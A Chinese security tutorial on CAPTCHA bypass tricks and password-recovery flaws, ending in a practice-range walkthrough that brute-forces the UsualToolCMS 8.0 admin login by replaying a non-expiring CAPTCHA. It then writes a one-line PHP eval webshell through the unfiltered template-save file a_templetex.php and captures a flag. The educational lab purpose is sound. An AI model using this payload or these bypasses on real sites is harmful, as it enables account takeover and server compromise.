admin管理员组文章数量:1616689
文章目录
- 一、验证码的作用
- 二、验证码绕过的常见姿势
- (一)前端验证
- (二)验证码无验证
- (三)验证码可重复使用
- (四)验证码空值绕过
- (五)用脚本识别验证码
- (六)验证码出现在前端代码中
- (七)验证码可控制
- (八)验证码可推算
- (九)万能验证码
- (十)验证码藏在cookie中
- (十一)验证码素材过少
- (十二)多次登陆失败出现的验证码
- (十三)输错密码多次后出现的验证码
- 三、密码找回漏洞
- (一)用于区分用户身份的验证码
- (二)两种主要的密码找回方法
- (三)密码找回漏洞的应用
- 四、靶场实操
- (一)本地搭建cms测试
- (二)靶场实战
- 五、小结
一、验证码的作用
验证码(CAPTCHA)是“Completely Automated Public Turing test to tell Computers and Humans Apart
”(全自动区分计算机和人类的图灵测试)的缩写,是一种区分用户是计算机还是人的公共全自动程序。
验证码主要可为分为两类,一类是区分用户是计算机还是人,另一类是区分用户的身份。
为什么我们需要验证码?
如果没有验证码是不是就可以尝试用脚本去跑密码,比如银行卡密码有6位,共100w种组合 (假如输错密码不会冻卡,则密码一定可以跑出来)。验证码可以区分你是人还是脚本,防止恶意破解密码或者防止论坛恶意灌水,疯狂发评论。
早期的验证码基本都是纯文字的:字母+ 数字
人脑的记忆是有限的,人设置出来的密码常常会有一些自己的习惯,可能包含名字、身份证、生日、电话号码等,这样写出来的密码很容易成为弱密码。
二、验证码绕过的常见姿势
设置了验证码并不是完全可靠的,在很多情况存在验证码绕过的情况,尤其是在登录界面。结合乌云漏洞库的相关案例,可以总结如下:
可以看到,验证码绕过的情况有很多种,其中最常见的是验证码可以常用和验证码在客户端进行验证。
常见的绕过手法主要有以下这些:
(一)前端验证
这种验证方式,可以直接抓包然后进行跑数据包,删除前端验证的有关代码就可以绕过。
(二)验证码无验证
验证码设置了但是并没有效验,乱输验证码也能够成功的登录(估计老板没给开发工资吧)。即验证码随便设置了,但是可能因为某种原因,比如开发者忘了或者项目中断。
(三)验证码可重复使用
验证码没有限制重复使用次数或者不会过期,可以重复使用,比如现在的验证码1111,然后虽然你登录失败后验证码会变,但是你输入1111他仍然判定你验证码正确(常见)
(四)验证码空值绕过
验证码空值绕过,比如,我们现在抓一个包,发现登录参数是user=admin&password=admin&yzm=4123
。 yzm验证码参数,但是我们如果去掉yzm的传参我们就可以绕过验证码机制,直接传参user=admin&password=admin,验证码就失效了。
(五)用脚本识别验证码
验证码干扰过低,轻松使用脚本识别
(六)验证码出现在前端代码中
验证码直接输出在了源码中,可以自动化获取进行登录入口的爆破。
(七)验证码可控制
验证码可控制,比如他的验证码包含在URL里面,是一个URL传参,我们可以把URL设置定,那么验证码可控制。
(八)验证码可推算
验证码有规则,比如是时间戳的后6位(rand函数进行随机数),那么可以根据验证码的规则来计算出验证码。
(九)万能验证码
有万能验证码(也可以叫万能密码),验证码无论是什么,只要输入某固定验证码,比如000000就能直接绕过。这种验证码主要出现在硬件设备上,用于方便专业人员调试,但也因此留下了隐患。
(十)验证码藏在cookie中
验证码有的时候会藏在cookie里面,分析一下cookie,看看是不是存在验证码的相关参数
(十一)验证码素材过少
图片验证码,素材太少,容易被全部收集用于识别,所以直接把所有的验证码都整理出来,让脚本去识别。
(十二)多次登陆失败出现的验证码
这种情况需要分类讨论,最常见的是这三种:
- 基于session检测:
根据cookie中的session来决定有没有验证码的。因此删掉所有cookie去请求此接口即可免去验证码。 - 基于ip的检测:
绕过的方法主要就是更换自己本机的ip。可以通过自己搭建代理池去更换,也可以直接修改请求头中的X-FORWARDED-FOR
换ip为127.0.0.1
(甚至做渗透测试可以一直开着这个),这种情况下对于某些网站会有奇效,网站的可能会理解为你是本地在访问,很多安全措施就没那么严格,甚至直接取消了。 - 基于用户的检测:
这种情况下可以尝试爆破用户名,而非爆破密码,从而实现绕过验证码的检测。
(十三)输错密码多次后出现的验证码
输错密码两三次才需要输入验证码的情况,可以尝试替换Cookie,因为cookie代表了用户的身份,而每一个cookie会对应一个session,如果换了个cookie,服务器上就会有新的session和cookie对应。还可以换用户绑定(换个用户)。
注:
cookie和session的区别
session和cookie是绑定的,cookie是给用户的,session是服务器上和cookie绑定的信息,可以假设,cookie是银行卡,而session则是银行服务器里与你这张银行卡对应的信息。所以如果session被删掉了,则对应的cookie也就没有用了。
三、密码找回漏洞
(一)用于区分用户身份的验证码
有一类验证码,他并不是区分用户是计算机还是人的公共全自动程序,他是用来证明你的身份的,比如你登录微信,支付宝,都是支持直接用短信验证码登录。
当你QQ忘记密码的时候,你需要找回密码,然后他要求把APP显示的动态密码填入框里面,一般而言手机验证码时间都有5-30分钟,如果他没有做尝试限制的话我们是不是可以进行穷举?然后直接跑出验证码然后就修改他人密码呢?
无论是采用短信还是邮箱来接收,只要是用于区分用户身份的验证码都是属于这一类验证码。
(二)两种主要的密码找回方法
第一种就是找回密码,往邮箱发送明文或密文的密码或者验证码(手机短信验证就是往你手机号码发验证码)通过这样的方法来判断是否是本人。
第二种是发送一个重置密码的链接到邮箱,用户点击以后就可以重置密码。
(三)密码找回漏洞的应用
密码找回漏洞的分布:
- 1、点击发送验证码,抓包发现验证码直接出现在数据包里;
- 2、验证码无次数限制可爆破;
- 3、验证码可控;
- 4、直接修改密码页面;
- 5、通过越权漏洞找回密码。
四、靶场实操
(一)本地搭建cms测试
下载UsualToolCMS-8.0
版本进行本地搭建。通过对本地搭建的cms进行分析,可以确定后台地址在cmsadmin文件夹里的a_login.php
文件里面。
所以只需要在网站主页后面加上/cmsadmin/a_login.php
即可打开后台登陆页面。
访问后台的登陆页面:
首先进行简单的测试,随便输入不同的账号密码,然后输入正确的验证码,可以看到,提示的是账户不存在:
尝试输入错误的验证码,发现提示验证码不正确:
可见可以根据不同的提示信息确定账户名,先测试常见的账号,比如admin、user
等。当输入admin时,页面提示:
据此可以判断,admin这个账户必然存在。现在知道了账户名,那么就可以尝试爆破管理员的密码。但是在此之前,需要先解决验证码的问题。从刚才的测试中可以看出,验证码是会检验正确性的,所以先尝试抓包删掉验证码再放包:
放包过去,发现会提示验证码不正确。
那么验证码会不会过期呢?经过测试发现,只要在proxy模块抓包后,不放包,然后把数据包发送到repeater模块,多点几次GO,发现提示信息都是一样的:
这说明验证码没有过期,也没有更新。但如果在proxy这里把包放过去,页面就会弹窗,而那个弹窗点了确定以后会自动刷新验证码,所以我们要保持住proxy模块的数据包不放掉,然后到intruder模块去爆破密码。
经过爆破,得到管理员密码为admin
到后台密码以后,就可以登陆网站后台。我们之前拿shell一般是SQL注入或者文件上传,而实际上用代码审计找到漏洞并加以利用也可以拿shell。
进入后台之后我们其实也还是只能操作网站,如果想要操纵目标计算机就需要后台Getshell,需要想办法让自己的一句话木马文件上传到目标网站上。(以往都是上传,但是其实不需要上传也能把自己的一句话木马搞到目标站点上)先在本地的cms上面进行代码审计,这里直接跳过代码审计的步骤了,一步到位。
从下载的cms源码中可以看出,在cmsadmin文件夹下有个a_templetex.php
,里面前面几行代码如下:
<?php
require_once 'a_top.php';
$t=UsualToolCMS::sqlcheck($_GET["t"]);
$x=UsualToolCMS::sqlcheck($_GET["x"]);
if($x=="m"){ $filename=$_POST["filename"];
$dir=$_POST["dir"];
$content=$_POST["content"];
$id=UsualToolCMS::sqlcheckx($_POST["id"]);
$tp=$_POST["tp"];
$contents=iconv("utf-8","utf-8",$content);
$filenames="../".$dir."/".$filename."";
file_put_contents($filenames,$contents);
echo "<script>alert('更新模板成功!');window.location.href='?t=edit&id=$id&filename=$filename&dir=$dir&tp=$tp'</script>"; }
?>
代码分析:
file_put_contents()
这个函数是写文件,看这个变量$content
如果能由我决定,是不是就可以写一句话木马了?$filename
如果由我控制的话是不是就可以决定写的文件名字了?这里$x
采用GET传参,只要等于m就可以执行后面的代码。$content
和$filename
都是用POST传参,所以只要确定传参不会被过滤、代码能执行到if这一步,就可以达成写马的一切条件了。
(二)靶场实战
进入靶场,首先需要测试用于写马的文件是否存在,在靶场地址后面加上/cmsadmin/a_templetex.php
访问该文件:
可见该文件存在。
再次访问该文件,并抓包:
由于从源代码里可以看出,需要用POST传参的方法,因此单击鼠标右键选择change request method
。接着首先进行GET传参,第一行的URL后面输入?x=m
然后在下面空白处写(空一行):
filename=1000.php&content=<?php eval($_REQUEST[8])?>
然后在浏览器中访问我们生成的文件并传参试试看:
在靶场主界面的url地址后面加个/1000.php?8=phpinfo();
,结果如下:
写马成功!
接下来上菜刀连接该文件:
找到flag:flag{sdcms_tm}
提交flag:
五、小结
本文首先介绍验证码绕过的常见姿势及密码找回漏洞,通过本地搭建cms进行测试,确定漏洞的利用方法,并在相应的靶场上进行漏洞复现,演示了验证码漏洞的利用过程,希望对大家学习验证码和密码找回漏洞起到一定的帮助。
版权声明:本文标题:验证码绕过、密码找回漏洞简介 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dianzi/1728745259a1171238.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论